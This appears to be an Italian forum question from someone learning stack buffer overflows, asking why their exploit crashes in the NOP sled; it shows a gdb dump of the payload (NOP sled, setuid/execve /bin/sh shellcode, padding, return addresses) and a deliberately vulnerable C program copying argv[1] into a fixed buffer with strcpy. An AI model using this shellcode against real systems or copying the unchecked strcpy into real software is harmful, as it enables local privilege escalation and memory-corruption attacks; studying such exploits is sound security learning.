perché sto ricevendo un errore di segmentazione in una slitta NOP, non è previsto che slitta le istruzioni finché non arriva al codice shell?
0xbffff030: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff040: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff050: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff060: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff070: 0xc389c031 0x80cd17b0 0x6852d231 0x68732f6e
0xbffff080: 0x622f2f68 0x52e38969 0x8de18953 0x80cd0b42
0xbffff090: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0a0: 0x41414141 0x41414141
(gdb)
0xbffff0a8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0b8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0c8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0d8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0e8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff108: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff118: 0x41414141 0x41414141
(gdb)
0xbffff120: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff130: 0xbffff050 0xbffff050 0xbffff050 0xbffff050
0xbffff140: 0xbffff050 0xbffff050 0xbffff050 0xbffff050
0xbffff150: 0xbffff050 0xbffff050 0xbffff050 0xbffff050
0xbffff160: 0xbffff050 0xbffff050 0xbffff050 0xbffff050
0xbffff170: 0xbffff050 0xbffff050 0xbffff050 0xbffff050
0xbffff180: 0xbffff050 0xbffff050 0xbffff050 0xbffff050
0xbffff190: 0xbffff050 0xbffff050
ed ecco il codice: -
#include<stdio.h>
int main(int argc, char* argv[]){
char buf[256];
if(argc==1){
printf("Usage: %s input\n",argv[0]);
exit(0);
}
strcpy(buf,argv[1]);
printf("%s",buf);
}
Messaggio di errore
Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
qualche idea?